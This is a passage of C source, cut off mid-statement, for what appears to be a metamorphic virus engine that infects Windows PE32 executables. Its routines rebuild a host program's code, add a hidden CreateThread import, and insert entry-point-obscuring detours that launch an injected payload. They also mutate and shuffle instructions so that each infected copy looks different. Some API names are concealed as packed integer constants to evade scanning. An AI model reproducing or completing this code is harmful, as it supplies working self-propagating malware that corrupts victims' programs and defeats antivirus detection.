pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwCurrentCodeIslandIndex++) { pCurrentX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction; while(pCurrentX86InstructionAbstraction != NULL) { pDestinationX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree; if(pCurrentX86InstructionAbstraction == pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction && pTargetPE32Pool != NULL) { pTargetImageOptionalHeader->AddressOfEntryPoint=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pCurrentX86InstructionAbstraction->dwInstructionOffset); } if(pCurrentX86InstructionAbstraction->dwInstructionLength != 0) { for(dwX=0; dwX < pCurrentX86InstructionAbstraction->dwInstructionLength; dwX++) { pSolidifiedCodePool[dwSolidifiedCodePoolOffset + dwX]=pCurrentX86InstructionAbstraction->Data[dwX]; } //memcpy(pSolidifiedCodePool + dwSolidifiedCodePoolOffset, pCurrentX86InstructionAbstraction->Data, pCurrentX86InstructionAbstraction->dwInstructionLength); if(pDestinationX86InstructionAbstraction != NULL) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranchUnknown)) { //printf(" Unknown branch with a link associated to it?\r\n"); //system("pause"); } lRelativeDestinationOffset=(pDestinationX86InstructionAbstraction->dwInstructionOffset - (pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength)); if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch8)) { (CHAR)pSolidifiedCodePool[dwSolidifiedCodePoolOffset + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(CHAR)lRelativeDestinationOffset; } else if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch32)) { *(PDWORD)&pSolidifiedCodePool[dwSolidifiedCodePoolOffset + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=lRelativeDestinationOffset; } } dwSolidifiedCodePoolOffset += pCurrentX86InstructionAbstraction->dwInstructionLength; } else if(pCurrentX86InstructionAbstraction->dwDataSize != 0) { for(dwX=0; dwX < pCurrentX86InstructionAbstraction->dwDataSize; dwX++) { pSolidifiedCodePool[dwSolidifiedCodePoolOffset + dwX]=pCurrentX86InstructionAbstraction->Data[dwX]; } //memcpy(pSolidifiedCodePool + dwSolidifiedCodePoolOffset, pCurrentX86InstructionAbstraction->Data, pCurrentX86InstructionAbstraction->dwDataSize); dwSolidifiedCodePoolOffset += pCurrentX86InstructionAbstraction->dwDataSize; } else { RelocateMemory(pSolidifiedCodePool + dwSolidifiedCodePoolOffset, pCurrentX86InstructionAbstraction->pExtendedDataPool, pCurrentX86InstructionAbstraction->dwExtendedDataSize); dwSolidifiedCodePoolOffset += pCurrentX86InstructionAbstraction->dwExtendedDataSize; } if(pCurrentX86InstructionAbstraction == pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction) { break; } pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } } *ppSolidifiedCodePool=pSolidifiedCodePool; *pdwSolidifiedCodePoolSize=dwSolidifiedCodePoolSize; return TRUE; } BOOL Shrink32BitX86BranchIslandAbstractions (PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable) { PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction, pDestinationX86InstructionAbstraction=NULL; LONG lRelativeDestinationOffset=0; DWORD dwCurrentCodeIslandIndex; RefreshEtherealX86InstructionIslandTable(pCodeX86AbstractionIslandTable); for(dwCurrentCodeIslandIndex=0; dwCurrentCodeIslandIndex <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwCurrentCodeIslandIndex++) { pCurrentX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction; // Shrink short distance 32-bit branches to 8-bit while(pCurrentX86InstructionAbstraction != NULL) { pDestinationX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree; if(pCurrentX86InstructionAbstraction->dwDataSize == 0) { if(pDestinationX86InstructionAbstraction != NULL) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranchUnknown)) { //printf("[*] Unknown branch with a link associated to it?\r\n"); //system("pause"); } lRelativeDestinationOffset=(pDestinationX86InstructionAbstraction->dwInstructionOffset - (pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength)); if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch32)) { if(lRelativeDestinationOffset <= 127 && lRelativeDestinationOffset >= -128 && pCurrentX86InstructionAbstraction->Opcode != 0xE8) // No such thing as an 8-bit Call { // 32->8-bit opcode and operand if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) // Jcc32 { pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=(0x70 + (pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwNumberOfPrefixes] - 0x80)); // Build new Jcc based on old type pCurrentX86InstructionAbstraction->dwNumberOfPrefixes=0; } else if(pCurrentX86InstructionAbstraction->Opcode == 0xE9) // Jmp32 { pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=0xEB; // Jmp8 } else { //printf("[*] Fatal error: anomalous 32-bit branch detected.\r\n"); //system("pause"); return FALSE; } pCurrentX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagPrefix0F; pCurrentX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagBranch32; pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranch8; pCurrentX86InstructionAbstraction->lBranchDestinationOffset=pCurrentX86InstructionAbstraction->Data[1]=(CHAR)lRelativeDestinationOffset; pCurrentX86InstructionAbstraction->dwInstructionLength=(2 + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes); } } } } pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } } RefreshEtherealX86InstructionIslandTable(pCodeX86AbstractionIslandTable); return TRUE; } DWORD GetSectionIndexByName (PAPI_TABLE pAPITable, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PCHAR pSectionName) { DWORD dwX, dwSectionIndex=-1; for(dwX=0; dwX < dwNumberOfSections; dwX++) { if(pAPITable->lstrcmpA((pTargetImageSectionHeader + dwX)->Name, pSectionName) == 0) { dwSectionIndex=dwX; break; } } return dwSectionIndex; } PIMAGE_SECTION_HEADER GetEnclosingSectionHeader (PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, DWORD dwRVA, PDWORD pdwEnclosingSectionIndex, PBOOL pbSectionEndReference) { PIMAGE_SECTION_HEADER pCurrentSectionHeader=pTargetImageSectionHeader; DWORD dwX; *pbSectionEndReference=FALSE; for(dwX=0; dwX < dwNumberOfSections; dwX++, pCurrentSectionHeader++) { DWORD dwSize; if(pCurrentSectionHeader->Misc.VirtualSize > pCurrentSectionHeader->SizeOfRawData) { dwSize=pCurrentSectionHeader->Misc.VirtualSize; } else { dwSize=pCurrentSectionHeader->SizeOfRawData; } // Is the RVA within this section? if((dwRVA >= pCurrentSectionHeader->VirtualAddress) && (dwRVA <= (pCurrentSectionHeader->VirtualAddress + dwSize))) { if(pdwEnclosingSectionIndex != NULL) { *pdwEnclosingSectionIndex=dwX; } if(dwRVA == (pCurrentSectionHeader->VirtualAddress + dwSize)) { if(dwSize == pCurrentSectionHeader->Misc.VirtualSize && dwRVA != (pCurrentSectionHeader + 1)->VirtualAddress) { *pbSectionEndReference=TRUE; return NULL; } else { continue; // This is not an end of section reference, it is a reference to the begining of the next section. } } return pCurrentSectionHeader; } } return NULL; } PVOID SolidifyEtherealAddress (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, DWORD dwRVA) { PIMAGE_SECTION_HEADER pEnclosingSectionHeader; int nDelta; BOOL bSectionEndReference; PBYTE pPhysicalAddress=NULL; if((pEnclosingSectionHeader=GetEnclosingSectionHeader(pTargetImageSectionHeader, dwNumberOfSections, dwRVA, NULL, &bSectionEndReference)) == NULL) { if(pTargetImageSectionHeader->VirtualAddress > dwRVA) { // Assume that the RVA is within the PE32 header return (pTargetPE32Pool + dwRVA); } else { return NULL; } } nDelta=(int)(pEnclosingSectionHeader->VirtualAddress - pEnclosingSectionHeader->PointerToRawData); pPhysicalAddress=(PBYTE)((int)pTargetPE32Pool + (int)dwRVA - nDelta); return (pAPITable->IsBadReadPtr(pPhysicalAddress, 1) ? NULL : pPhysicalAddress); } VOID RelocateMemory (PBYTE pDestinationPool, PBYTE pSourcePool, DWORD dwDataSize) { DWORD dwX; for(dwX=0; dwX < dwDataSize; dwX++) { pDestinationPool[dwX]=pSourcePool[dwX]; } return; } VOID WipeMemory (PBYTE pDestinationPool, DWORD dwDataSize) { DWORD dwX; for(dwX=0; dwX < dwDataSize; dwX++) { pDestinationPool[dwX]=0; } return; } PIMPORTED_FUNCTION_ABSTRACTION SelectRandomImportedFunctionAbstraction (PAPI_TABLE pAPITable, PIMPORTED_MODULE_ABSTRACTION pImportAbstraction) { DWORD dwSelectedIndex=(pAPITable->Rand() % pImportAbstraction->dwNumberOfFunctions), dwCurrentIndex; PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction; //printf("[*] Random index %d selected from module %s with %d imported functions.\r\n", dwSelectedIndex, pImportAbstraction->pModuleName, pImportAbstraction->dwNumberOfFunctions); for(dwCurrentIndex=0, pCurrentImportedFunctionAbstraction=pImportAbstraction->pImportedFunctionAbstractionList; pCurrentImportedFunctionAbstraction != NULL; pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction, dwCurrentIndex++) { if(dwCurrentIndex == dwSelectedIndex) { break; } } return pCurrentImportedFunctionAbstraction; } PX86_CODE_ABSTRACTION_TABLE InsertEPOSequence (PAPI_TABLE pAPITable, PPE32_ABSTRACTION_TABLE pPrimaryPE32Abstraction, PX86_INSTRUCTION_ABSTRACTION pRedirectionDestinationInstruction, BOOL bEntryPoint, BOOL bGermInstance) { /* Push VolatileReg1 Push VolatileReg2 Push VolatileReg3 Push VolatileReg4 Push 0 Push 0 Push 0 Push Push 0 Push 0 Call Dword [Kernel32.dll!CreateThread] Pop VolatileReg4 Pop VolatileReg3 Pop VolatileReg2 Pop VolatileReg1 */ BYTE VolatileRegisters[4]; DWORD dwX, dwY, dwZ; BOOL bRegisterAnchored; DWORD dwMessageString[3]; // Shuffle the order of volatile x86 registers for(dwX=0; dwX < 4; dwX++) { VolatileRegisters[dwX]=-1; } for(dwX=0; dwX < 4;) { dwZ=(pAPITable->Rand() % 4); for(bRegisterAnchored=FALSE, dwY=0; dwY < (dwX + 1); dwY++) { if(VolatileRegisters[dwY] == dwZ) { bRegisterAnchored=TRUE; } } if(!bRegisterAnchored) { VolatileRegisters[dwX]=dwZ; dwX++; } } // Identify the final address abstraction of the primary PE32 PRELOCATION_ABSTRACTION pCurrentAddressAbstraction, pFinalAddressAbstraction; for(pCurrentAddressAbstraction=pPrimaryPE32Abstraction->pRelocationAbstractions; pCurrentAddressAbstraction != NULL; pCurrentAddressAbstraction=pCurrentAddressAbstraction->pNextRelocationAssociation) { pFinalAddressAbstraction=pCurrentAddressAbstraction; } PIMPORTED_MODULE_ABSTRACTION pCurrentImportAbstraction, pKernel32ImportAbstraction=NULL; PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction, pRandomImportedKernel32FunctionAbstraction=NULL, pCreateThreadImportedFunctionAbstraction=NULL; DWORD dwKernel32NameString[4], dwCreateThreadNameString[4]; dwKernel32NameString[0]='nreK'; dwKernel32NameString[1]='23le'; dwKernel32NameString[2]='lld.'; dwKernel32NameString[3]=0; dwCreateThreadNameString[0]='aerC'; dwCreateThreadNameString[1]='hTet'; dwCreateThreadNameString[2]='daer'; dwCreateThreadNameString[3]=0; // Determine whether or not CreateThread already resides within the IAT of the primary PE32. If it does not, intertwine it. for(pCurrentImportAbstraction=pPrimaryPE32Abstraction->pImportAbstractions->pFirstImportedModuleAbstraction; pCurrentImportAbstraction != NULL; pCurrentImportAbstraction=pCurrentImportAbstraction->pNextImportedModuleAbstraction) { if(pAPITable->lstrcmpiA(pCurrentImportAbstraction->pModuleName, &dwKernel32NameString) == 0) { pKernel32ImportAbstraction=pCurrentImportAbstraction; for(pCurrentImportedFunctionAbstraction=pCurrentImportAbstraction->pImportedFunctionAbstractionList; pCurrentImportedFunctionAbstraction != NULL; pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction) { if(pAPITable->lstrcmpiA(pCurrentImportedFunctionAbstraction->pFunctionName, &dwCreateThreadNameString) == 0) { pCreateThreadImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction; break; } } if(pCreateThreadImportedFunctionAbstraction != NULL) { break; } } } if(pCreateThreadImportedFunctionAbstraction == NULL) { //printf("[*] CreateThread API is missing from primary PE32\r\n"); if(pKernel32ImportAbstraction != NULL) { pCreateThreadImportedFunctionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(IMPORTED_FUNCTION_ABSTRACTION)); pCreateThreadImportedFunctionAbstraction->pFunctionName=pAPITable->GlobalAlloc(GPTR, 64); pCreateThreadImportedFunctionAbstraction->pContainerImportedModuleAbstraction=pKernel32ImportAbstraction; pAPITable->lstrcpyA(pCreateThreadImportedFunctionAbstraction->pFunctionName, &dwCreateThreadNameString); pRandomImportedKernel32FunctionAbstraction=SelectRandomImportedFunctionAbstraction(pAPITable, pKernel32ImportAbstraction); pCreateThreadImportedFunctionAbstraction->pPreviousImportedFunctionAbstraction=pRandomImportedKernel32FunctionAbstraction; pCreateThreadImportedFunctionAbstraction->pNextImportedFunctionAbstraction=pRandomImportedKernel32FunctionAbstraction->pNextImportedFunctionAbstraction; if(pRandomImportedKernel32FunctionAbstraction->pNextImportedFunctionAbstraction != NULL) { pRandomImportedKernel32FunctionAbstraction->pNextImportedFunctionAbstraction->pPreviousImportedFunctionAbstraction=pCreateThreadImportedFunctionAbstraction; } pRandomImportedKernel32FunctionAbstraction->pNextImportedFunctionAbstraction=pCreateThreadImportedFunctionAbstraction; pKernel32ImportAbstraction->dwNumberOfFunctions++; pPrimaryPE32Abstraction->pImportAbstractions->dwTotalNumberOfFunctions++; ////system("pause"); } else { //printf("[-] Kernel32.dll module is missing from imports.\r\n"); //system("pause"); } } PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction, pPreviousX86InstructionAbstraction, pLastEPOSequenceInstructionAbstraction; PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction; PX86_CODE_ABSTRACTION_TABLE pSynonymousEPOCodeAbstractionTable, pEPOCodeAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ABSTRACTION_TABLE)); for(dwX=0, dwY=0; dwX < 15; dwX++, pEPOCodeAbstractionTable->dwNumberOfInstructions++, pEPOCodeAbstractionTable->dwTotalCodeSize += pCurrentX86InstructionAbstraction->dwInstructionLength) { pCurrentX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); if(dwX < 4) { // Push VolatileRegister pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=(0x50 + VolatileRegisters[dwY]); pCurrentX86InstructionAbstraction->dwInstructionLength=1; pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pCurrentX86InstructionAbstraction->DestinationRegister=VolatileRegisters[dwY]; dwY++; } else if(dwX == 7) { // Push pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=0x68; pCurrentX86InstructionAbstraction->dwInstructionLength=5; pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32; // Symbolically indicate this constant to be an absolute address, referencing the destination instruction pCurrentRelocationAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(RELOCATION_ABSTRACTION)); pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction; pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex=pPrimaryPE32Abstraction->dwCodeSectionIndex; pCurrentRelocationAbstraction->pReferencedSymbol=pRedirectionDestinationInstruction; pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex=pPrimaryPE32Abstraction->dwCodeSectionIndex; pCurrentRelocationAbstraction->dwFlags=(RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION|RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE); pFinalAddressAbstraction->pNextRelocationAssociation=pCurrentRelocationAbstraction; pFinalAddressAbstraction=pCurrentRelocationAbstraction; pCurrentX86InstructionAbstraction->dwDataOffset=1; pCurrentX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentRelocationAbstraction; } else if(dwX < 10) { // Push 0 pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=0x6A; pCurrentX86InstructionAbstraction->dwInstructionLength=2; pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData8; pCurrentX86InstructionAbstraction->dwDataOffset=1; } else if(dwX > 10) { // Pop VolatileRegister dwY--; pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=(0x58 + VolatileRegisters[dwY]); pCurrentX86InstructionAbstraction->dwInstructionLength=1; pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pCurrentX86InstructionAbstraction->DestinationRegister=VolatileRegisters[dwY]; } else { // Call Dword [Kernel32.dll!CreateThread] pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=0xFF; pCurrentX86InstructionAbstraction->ModRM=pCurrentX86InstructionAbstraction->Data[1]=0x15; pCurrentX86InstructionAbstraction->Reg=0x02; pCurrentX86InstructionAbstraction->Rm=0x05; pCurrentX86InstructionAbstraction->WBit=1; pCurrentX86InstructionAbstraction->WBitOpcode=0xFE; pCurrentX86InstructionAbstraction->dwMemoryOffset=2; pCurrentX86InstructionAbstraction->dwInstructionLength=6; pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagMemory32|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagBranchUnknown|X86InstructionExtendedFlagExtendedOpcode|X86InstructionExtendedFlag32BitSingleModRM; pCurrentRelocationAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(RELOCATION_ABSTRACTION)); pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction; pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex=pPrimaryPE32Abstraction->dwCodeSectionIndex; pCurrentRelocationAbstraction->pReferencedSymbol=pCreateThreadImportedFunctionAbstraction; pCurrentRelocationAbstraction->dwFlags=(RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION|RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE); pFinalAddressAbstraction->pNextRelocationAssociation=pCurrentRelocationAbstraction; pFinalAddressAbstraction=pCurrentRelocationAbstraction; pCurrentX86InstructionAbstraction->pMemoryRelocationAbstraction=pCurrentRelocationAbstraction; } if(pEPOCodeAbstractionTable->pInitialX86InstructionAbstraction == NULL) { pEPOCodeAbstractionTable->pInitialX86InstructionAbstraction=pCurrentX86InstructionAbstraction; if(bEntryPoint) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= (X86InstructionExtendedFlagEntryPoint|X86InstructionExtendedFlagReferencedAddress); } } else { pPreviousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentX86InstructionAbstraction; } pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction; } // Mutate the EPO sequence via synonymization pSynonymousEPOCodeAbstractionTable=SynonymizeX86CodeAbstractionSequence(pAPITable, pEPOCodeAbstractionTable, pPrimaryPE32Abstraction->pRelocationAbstractions, NULL, TRUE, TRUE); ReCalculateX86InstructionOffsets(pSynonymousEPOCodeAbstractionTable); for(pLastEPOSequenceInstructionAbstraction=pSynonymousEPOCodeAbstractionTable->pInitialX86InstructionAbstraction;;) { if(pLastEPOSequenceInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction == NULL) { break; } pLastEPOSequenceInstructionAbstraction=pLastEPOSequenceInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; } // Ascertain an appropriate location within primary PE32 for EPO sequence DWORD dwEPOIndex, dwCurrentInstructionIndex; PX86_INSTRUCTION_ABSTRACTION pSelectedEPOX86InstructionAbstraction=NULL, pOEPInstructionAbstraction=NULL; if(bEntryPoint) { // Walk primary code abstractions until the OEP instruction is found. Set first EPO instruction as OEP, and insert EPO instruction sequence before OEP and its previous instruction (if any) for(pCurrentX86InstructionAbstraction=pPrimaryPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagEntryPoint)) { pOEPInstructionAbstraction=pCurrentX86InstructionAbstraction; break; } pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction; } if(pOEPInstructionAbstraction == NULL) { return NULL; } else { pOEPInstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagEntryPoint; } pPreviousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pSynonymousEPOCodeAbstractionTable->pInitialX86InstructionAbstraction; pLastEPOSequenceInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pOEPInstructionAbstraction; if(pPrimaryPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction == pOEPInstructionAbstraction) { pPrimaryPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction=pSynonymousEPOCodeAbstractionTable->pInitialX86InstructionAbstraction; } } else { // Select a pAPITable->Random instruction index in the primary code abstractions while(pSelectedEPOX86InstructionAbstraction == NULL) { dwEPOIndex=(pAPITable->Rand() % pPrimaryPE32Abstraction->pCodeAbstractions->dwNumberOfInstructions); for(dwCurrentInstructionIndex=0, pCurrentX86InstructionAbstraction=pPrimaryPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction, dwCurrentInstructionIndex++) { if(dwEPOIndex == dwCurrentInstructionIndex) { // The selected EPO entry point cannot be neighboring data, or proceed a flag-sensitive instruction if(pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL) { if(pCurrentX86InstructionAbstraction->dwDataSize == 0 && pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataSize == 0 && !(pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagConditionalBranch)) { pSelectedEPOX86InstructionAbstraction=pCurrentX86InstructionAbstraction; pLastEPOSequenceInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pSelectedEPOX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pSelectedEPOX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pSynonymousEPOCodeAbstractionTable->pInitialX86InstructionAbstraction; break; } } } } } } return pSynonymousEPOCodeAbstractionTable; } BOOL IntegratePayload32 (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE pPayloadCodePool, DWORD dwPayloadCodePoolSize, PBYTE *ppIntertwinedPE32Pool, PDWORD pdwIntertwinedPE32PoolSize, BOOL bGermInstance, PBYTE pPreviousFrozenCodeIslandAbstractionTable) { PPE32_ABSTRACTION_TABLE pTargetPE32Abstraction; PBYTE pIntertwinedPE32Pool, pAugmentedPE32Pool, pCurrentPE32Pool=pTargetPE32Pool, pPrimaryCodePool, pNewRelocationDataDirectory; DWORD dwRelocationSectionNameString[2], dwX, dwMaximumNumberOfDetours, dwIntertwinedPE32PoolSize, dwAugmentedPE32PoolSize, dwCurrentPE32PoolSize=dwTargetPE32PoolSize, dwNewRelocationDataDirectorySize, dwOriginalRelocationCharacteristics; PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction; int nPayloadCodePoolSize, nCurrentRequiredCodeAugmentationSize, nPrimaryCodePoolSize, nOriginalCodeSize=-1, nPreviousRequiredCodeAugmentationSize=0; PX86_CODE_ISLAND_ABSTRACTION_TABLE pIntertwinedCodeX86AbstractionIslandTable=NULL, pPrimaryCodeX86AbstractionIslandTable=NULL, pShuffledPrimaryCodeX86AbstractionIslandTable=NULL, pPayloadCodeX86AbstractionIslandTable=NULL, pShuffledPayloadCodeX86AbstractionIslandTable=NULL; PX86_CODE_ABSTRACTION_TABLE pSynonymousPayloadCodeAbstractionTable, pPayloadCodeAbstractionTable; DWORD dwMessageString[3]; dwRelocationSectionNameString[0]='ler.'; dwRelocationSectionNameString[1]='co'; do { if((pTargetPE32Abstraction=AnalyzeX86PE32(pAPITable, pCurrentPE32Pool, dwCurrentPE32PoolSize, nOriginalCodeSize)) != NULL) { // } else { return FALSE; } if((pPayloadCodeAbstractionTable=AnalyzeX86IsolatedCodeSequence(pAPITable, pPayloadCodePool, dwPayloadCodePoolSize)) == NULL) { return FALSE; } // Identify frozen code island table indicator in germ for(pCurrentX86InstructionAbstraction=pPayloadCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32)) { if((bGermInstance && (*(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwDataOffset] & 0xA1B1C100) == 0xA1B1C100 && *(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwDataOffset] != 0xA1B1C100) || (!bGermInstance && *(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwDataOffset] == pPreviousFrozenCodeIslandAbstractionTable)) { pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagFrozenCodeIsland; *(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwDataOffset]=0; break; } } } if(bGermInstance) { pSynonymousPayloadCodeAbstractionTable=SynonymizeX86CodeAbstractionSequence(pAPITable, pPayloadCodeAbstractionTable, NULL, NULL, TRUE, TRUE); FreeX86CodeAbstractions(pAPITable, pPayloadCodeAbstractionTable); } else { pSynonymousPayloadCodeAbstractionTable=pPayloadCodeAbstractionTable; } ReCalculateX86InstructionOffsets(pSynonymousPayloadCodeAbstractionTable); ExtendEtherealX86BranchInstructions(pSynonymousPayloadCodeAbstractionTable); ReCalculateX86InstructionOffsets(pSynonymousPayloadCodeAbstractionTable); if(nOriginalCodeSize == -1) { nOriginalCodeSize=(pTargetPE32Abstraction->pSectionHeaders + pTargetPE32Abstraction->dwCodeSectionIndex)->Misc.VirtualSize; } ExtendEtherealX86BranchInstructions(pTargetPE32Abstraction->pCodeAbstractions); ReCalculateX86InstructionOffsets(pTargetPE32Abstraction->pCodeAbstractions); for(dwMaximumNumberOfDetours=((pAPITable->Rand() % 4) + 1), dwX=0; dwX < dwMaximumNumberOfDetours; dwX++) { InsertEPOSequence(pAPITable, pTargetPE32Abstraction, pSynonymousPayloadCodeAbstractionTable->pInitialX86InstructionAbstraction, FALSE, bGermInstance); } ReCalculateX86InstructionOffsets(pTargetPE32Abstraction->pCodeAbstractions); nPrimaryCodePoolSize=pTargetPE32Abstraction->pCodeAbstractions->dwTotalCodeSize; if((pPrimaryCodeX86AbstractionIslandTable=SelectX86CodeAbstractionIslands(pAPITable, pTargetPE32Abstraction->pCodeAbstractions->pInitialX86InstructionAbstraction)) != NULL) { //SymbolizeX86CodeIslands(pPrimaryCodeX86AbstractionIslandTable); if((pShuffledPrimaryCodeX86AbstractionIslandTable=ShuffleX86CodeAbstractionIslands(pAPITable, pPrimaryCodeX86AbstractionIslandTable)) != NULL) { nPrimaryCodePoolSize=RefreshEtherealX86InstructionIslandTable(pShuffledPrimaryCodeX86AbstractionIslandTable); } } if((pPayloadCodeX86AbstractionIslandTable=SelectX86CodeAbstractionIslands(pAPITable, pSynonymousPayloadCodeAbstractionTable->pInitialX86InstructionAbstraction)) != NULL) { if((pShuffledPayloadCodeX86AbstractionIslandTable=ShuffleX86CodeAbstractionIslands(pAPITable, pPayloadCodeX86AbstractionIslandTable)) != NULL) { nPayloadCodePoolSize=RefreshEtherealX86InstructionIslandTable(pShuffledPayloadCodeX86AbstractionIslandTable); } } pIntertwinedCodeX86AbstractionIslandTable=IntertwineCodeIslandTables(pAPITable, 